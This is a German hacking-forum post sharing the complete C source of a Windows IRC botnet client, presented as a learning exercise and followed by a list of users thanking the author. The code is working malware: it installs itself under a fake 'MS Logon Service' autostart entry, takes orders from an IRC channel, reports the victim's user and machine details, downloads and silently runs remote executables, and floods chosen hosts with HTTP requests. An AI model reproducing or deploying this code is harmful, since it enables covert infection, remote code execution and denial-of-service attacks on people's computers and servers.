Ergebnis 1 bis 3 von 3

Baum-Darstellung

  1. #1
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard Einfacher IRC Botnet-Client

    Moin,

    das hier ist der Source zu einem einfachen IRC Botnet-Client.
    Ist schon etwas älter und nicht sehr sauber, aber 100%ig von mir

    Meine Idee dahinter ist nicht, Botnets zu fördern, sondern das ihr mal selber proggen lernt statt vorgefertigte Programme zu benutzen - es ist kein Hexenwerk sowas zu schreiben - und wer sowas kann, wird auch mehr gefallen daran finden, statt sich Vics zu holen.

    Naja, für näheres schaut einfach in den Source

    gruß

    GregorSamsa

    Code:
    /*
        Little IRC Bot
        
        Code by GregorSamsa
        Jabber: gregor.samsa@jabber.ccc.de
        
        Ein einfacher IRC-Gesteuerter Bot, nur zu lehrzwecken!
        Funktionen:
        - Lässt sich nur von einem definierten Nick kontrollieren
        - Entweder allen einen Befehl per Channel geben, oder einzelnen per Query
        - Befehle:
            - exit : Bot(s) ausschalten
            - uninstall : Bot(s) entfernen (keine Melt-funktion, es wird nur der Autorun deaktiviert und der Bot ausgeschaltet)
            - info : Info über den Rechner (Username, Computername, OS)
            - download <host> <file> : <file> von <host> herunterladen und ausführen (PE-File) - z.B.: download myhost.ru files/trojaner.exe
            - dos <host> <anzahl> : <host> mit <anzahl> HTTP-Requests beschießen
        
        Benutzt das Ding mit bedacht, es ist teilweise detected - und das ist auch gut so ;) Rein zu lernzwecken benutzen
        
        Die IRC-Implementierung ist mangelhaft, die müsst ihr eventuell überarbeiten sollte es beim Login Probleme mit PING/PONG geben o.ä.
        Allgemein ist der SOurce zu Testzwecken gedacht, und daher nicht besonders sauber, geschweige denn bugfrei/sicher...
        
        Also, hf
        GregorSamsa
        
        Greetz to Free-Hack.com!
    */
    
    
    #include <windows.h>
    #include <winsock2.h>
    #include <stdio.h>
    
    #define _CHANNEL_ "#channel"
    #define _CONTROL_ "your_nick"
    #define _SERVER_ "irc_server"
    
    #define BUF_LENGTH 1024
    
    //Prototypen
    int startWinsock(void);
    long getAddrFromString(char* hostnameOrIp, SOCKADDR_IN* addr);
    
    struct DOWNLOADSTRUCT
    {
        char host[BUF_LENGTH];
        char path[BUF_LENGTH];
    };
    
    struct DOSSTRUCT
    {
        char host[BUF_LENGTH];
        int count;
    };
    
    DWORD WINAPI download(LPVOID arg)
    {
        DOWNLOADSTRUCT *ds = (DOWNLOADSTRUCT*)arg;
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        int lc, i;
        FILE *f;
        char buf[BUF_LENGTH], fname[BUF_LENGTH];
        
        rc=startWinsock();
        if(rc!=0)
            ExitThread(0);
    
        s=socket(AF_INET,SOCK_STREAM,0);
        if(s==INVALID_SOCKET)
            ExitThread(0);
    
        memset(&addr,0,sizeof(SOCKADDR_IN));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(80);
        rc=getAddrFromString(ds->host,&addr);
        if(rc==SOCKET_ERROR)
            ExitThread(0);
    
        rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));
        if(rc==SOCKET_ERROR)
            ExitThread(0);
            
        sprintf(buf, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", ds->path, ds->host);
        send(s,buf,strlen(buf),0);
        
        lc = 0;
        while(lc < 2)
        {
            rc=recv(s,buf,1,0);
            if(buf[0] == '\n') lc++;
            else if(buf[0] != '\r') lc = 0;
        }
        
        sprintf(fname, "temp_%i.exe", (rand() % 5000));
        f = fopen(fname, "wb");
        
        while((rc=recv(s,buf,256,0)) != 0)
        {
            if(rc==SOCKET_ERROR)
                ExitThread(0);
            for(i = 0;i < rc;i++)
                fprintf(f, "%c", buf[i]);
        }
        fclose(f);
      
        closesocket(s);
        WSACleanup();
    
        WinExec(fname, SW_HIDE);
        
        ExitThread(0);
    }
    
    DWORD WINAPI dos(LPVOID arg)
    {
        DOSSTRUCT *ds = (DOSSTRUCT*)arg;
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        int lc, i;
        char buf[BUF_LENGTH];
        
        rc=startWinsock();
        if(rc!=0)
            ExitThread(0);
    
        for(i = 0;i < ds->count;i++)
        {
            while((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) Sleep(500);
    
            memset(&addr,0,sizeof(SOCKADDR_IN));
            addr.sin_family=AF_INET;
            addr.sin_port=htons(80);
            rc=getAddrFromString(ds->host,&addr);
            if(rc==SOCKET_ERROR)
                ExitThread(0);
    
    
            while((rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR))) == SOCKET_ERROR) Sleep(500);
        
            sprintf(buf, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", ds->host);
            send(s,buf,strlen(buf),0);
            closesocket(s);
        }
      
        WSACleanup();
        
        ExitThread(0);
    }
    
    unsigned long downloadtid, dostid;
    
    int WINAPI WinMain(HINSTANCE w1, HINSTANCE w2, PSTR w3, int w4)//main()
    {
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        char buf[BUF_LENGTH], buf2[BUF_LENGTH], buf3[BUF_LENGTH], channel[] = _CHANNEL_, master[] = _CONTROL_, nick[BUF_LENGTH], *ptr;
        int i, sm;
        DWORD l;
        OSVERSIONINFOEX osinfo;
        DOWNLOADSTRUCT ds;
        DOSSTRUCT dss;
        HWND hWnd;
        HKEY hKey;
      
        ptr = (char *)malloc(BUF_LENGTH);
        sm = 0;
        
        srand(time(NULL));
        
        hWnd = (HWND)GetModuleHandle(NULL);
        GetModuleFileName((HINSTANCE)hWnd, buf, sizeof(buf));
        GetSystemDirectory(buf2, sizeof(buf2));
        strcat(buf2, "\\logon_service.exe");
        CopyFile(buf, buf2, 0);
        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
        RegSetValueEx(hKey, "MS Logon Service", 0, REG_SZ, TEXT(buf2), strlen(buf2)+1);
        RegCloseKey(hKey);  
    
        if((strcmp(buf, buf) != 0))
        {
            // Fake Message
            //MessageBox(NULL, "Error #235\n\nCouldn't open 'sro_c.exe'\nAbort", "Install Error", MB_OK + MB_ICONERROR);
        }
        
        // Winsock starten
        startWinsock();
        printf("Winsock gestartet\n");
      // Socket erstellen
        while((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) Sleep(1000);
        printf("Socket erstellt\n");
      // Verbinden
        memset(&addr,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten
        addr.sin_family=AF_INET;
        addr.sin_port=htons(6667); // wir verwenden mal port 12345
        rc=getAddrFromString(_SERVER_,&addr);
        if(rc==SOCKET_ERROR)
            return 1;
    
    
        while((rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR))) == SOCKET_ERROR) Sleep(1000);
        
        sprintf(nick, "bot_%i", rand() % 30000);
      /*
        rc=recv(s,buf,1000,0);
        rc=recv(s,buf,1000,0);
        buf[rc] = '\0';
    */
        sprintf(buf, "NICK %s\r\nUSER %s \"localhost\" \"%s\" :%s\r\n", nick, nick, _SERVER_, nick);
        send(s,buf,strlen(buf),0);
    /*
        rc=recv(s,buf,1000,0);
        buf[rc] = '\0';
      
        strtok(buf, " ");
        strcpy(buf2, strtok(NULL, ""));
        strcpy(buf, "PONG ");
        strcat(buf, buf2);
        send(s,buf,strlen(buf),0);
    */
        do
        {
            rc=recv(s,buf,1000,0);
            buf[rc] = '\0';
        } while(!strstr(buf, "End of /MOTD command"));
      
      
        sprintf(buf, "JOIN %s\r\n", channel);
        send(s,buf,strlen(buf),0);
    
        // Daten austauschen
        while(rc!=SOCKET_ERROR)
        {
            rc=recv(s,buf,1000,0);
            if(rc==0)
                break;
            if(rc==SOCKET_ERROR)
                break;
            buf[rc]='\0';
        
            if(!strnicmp(buf, "PING", 4))
            {
                strtok(buf, " ");
                strcpy(buf2, strtok(NULL, ""));
                strcpy(buf, "PONG ");
                strcat(buf, buf2);
                send(s,buf,strlen(buf),0);
            }
            else if(strstr(buf, "PRIVMSG"))
            {
                strcpy(buf2, buf);
                ptr = strtok(buf2, "!");
                for(i = 1;i <= strlen(ptr);i++) ptr[i - 1] = ptr[i];
                if(strcmp(ptr, master) == 0)
                {
                    ptr = strtok(buf, ":");
                    ptr = strtok(NULL, "\r");
                
                    if(strcmp(ptr, "exit") == 0)
                    {
                        closesocket(s);
                        WSACleanup();
                        return 0;
                    }
                    else if(strcmp(ptr, "uninstall") == 0)
                    {
                        sprintf(buf2, "nothing...");
                        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
                        RegSetValueEx(hKey, "MS Logon Service", 0, REG_SZ, TEXT(buf2), strlen(buf2)+1);
                        RegCloseKey(hKey);
                        
                        closesocket(s);
                        WSACleanup();
                        return 0;
                    }
                    else if(strcmp(ptr, "info") == 0)
                    {
                        l = sizeof(buf);
                        GetUserName(buf, &l);
                        sprintf(buf2, "Username: %s", buf);
                        GetComputerName(buf, &l);
                        sprintf(buf3, "%s, Computername: %s", buf2, buf);
                        sm = 1;
                        ZeroMemory(&osinfo, sizeof(OSVERSIONINFO));
                        osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
                        GetVersionEx((OSVERSIONINFO *) &osinfo);
                        l = osinfo.dwMinorVersion;
                        strcpy(buf, "???");
                        switch(osinfo.dwMajorVersion)
                        {
                            case 5:
                                if(l == 0)
                                    strcpy(buf, "Windows 2000");
                                else if(l == 1)
                                    strcpy(buf, "Windows XP");
                                else if(l == 2)
                                {
                                    if(osinfo.wSuiteMask == 0x8000)
                                        strcpy(buf, "Windows Home Server");
                                    else if(GetSystemMetrics(89) == 0)
                                        strcpy(buf, "Windows Server 2003");
                                    else if(GetSystemMetrics(89) != 0)
                                        strcpy(buf, "Windows Server 2003 R2");
                                    else
                                        strcpy(buf, "Windows XP Professional x64 Edition");
                                }
                            break;
                        
                            case 6:
                                if(l)
                                {
                                    if(osinfo.wProductType != VER_NT_WORKSTATION)
                                        strcpy(buf, "Windows Server 2008 R2");
                                    else
                                        strcpy(buf, "Windows 7");
                                }
                                else
                                {
                                    if(osinfo.wProductType == VER_NT_WORKSTATION)
                                        strcpy(buf, "Windows Vista");
                                    else
                                        strcpy(buf, "Windows Server 2008");
                                }
                            break;
                        
                            default:
                                strcpy(buf, "???");
                            break;
                        }
                    
                        sprintf(buf2, "%s, OS: %s", buf3, buf);
                    }
                    else if(strncmp(ptr, "download", strlen("download")) == 0)
                    {
                        ptr = strtok(ptr, " ");
                        ptr = strtok(NULL, " ");
                        sprintf(ds.host, "%s", ptr);
                        ptr = strtok(NULL, " ");
                        sprintf(ds.path, "%s", ptr);
                    
                        CreateThread(NULL, 0, download, &ds, 0, &downloadtid);
                    }
                    else if(strncmp(ptr, "dos", strlen("dos")) == 0)
                    {
                        ptr = strtok(ptr, " ");
                        ptr = strtok(NULL, " ");
                        sprintf(dss.host, "%s", ptr);
                        ptr = strtok(NULL, " ");
                        dss.count = atoi(ptr);
                    
                        CreateThread(NULL, 0, dos, &dss, 0, &dostid);
                    }
                    else
                    {
                        buf[0] = '\0';
                    }
            
                    if(sm)
                    {
                        sprintf(buf, "PRIVMSG %s :%s\r\n", channel, buf2);
                        send(s,buf,strlen(buf),0);
                        sm = 0;
                    }
                }
            }
        }
        closesocket(s);
        WSACleanup();
        return 0;
    }
    
    int startWinsock(void)
    {
        WSADATA wsa;
        return WSAStartup(MAKEWORD(2,0),&wsa);
    }
    
    
    long getAddrFromString(char* hostnameOrIp, SOCKADDR_IN* addr)
    {
        long rc;
        unsigned long ip;
        HOSTENT* he;
    
        if(hostnameOrIp==NULL || addr==NULL)
            return SOCKET_ERROR;
    
        ip=inet_addr(hostnameOrIp);
    
        if(ip!=INADDR_NONE)
        {
            addr->sin_addr.s_addr=ip;
            return 0;
        }
        else
        {
            he=gethostbyname(hostnameOrIp);
            if(he==NULL)
                return SOCKET_ERROR;
            else
                memcpy(&(addr->sin_addr),he->h_addr_list[0],4);
            return 0;
        }
    }

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    DDW111 (08.07.2010), HawK (16.02.2010), juRiii (24.06.2010), luxury11 (29.08.2010), PancakeBear (13.08.2010), Shini (14.08.2010), Slawa (27.02.2010), Southpark (05.03.2010), Zweitopf (14.08.2010)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •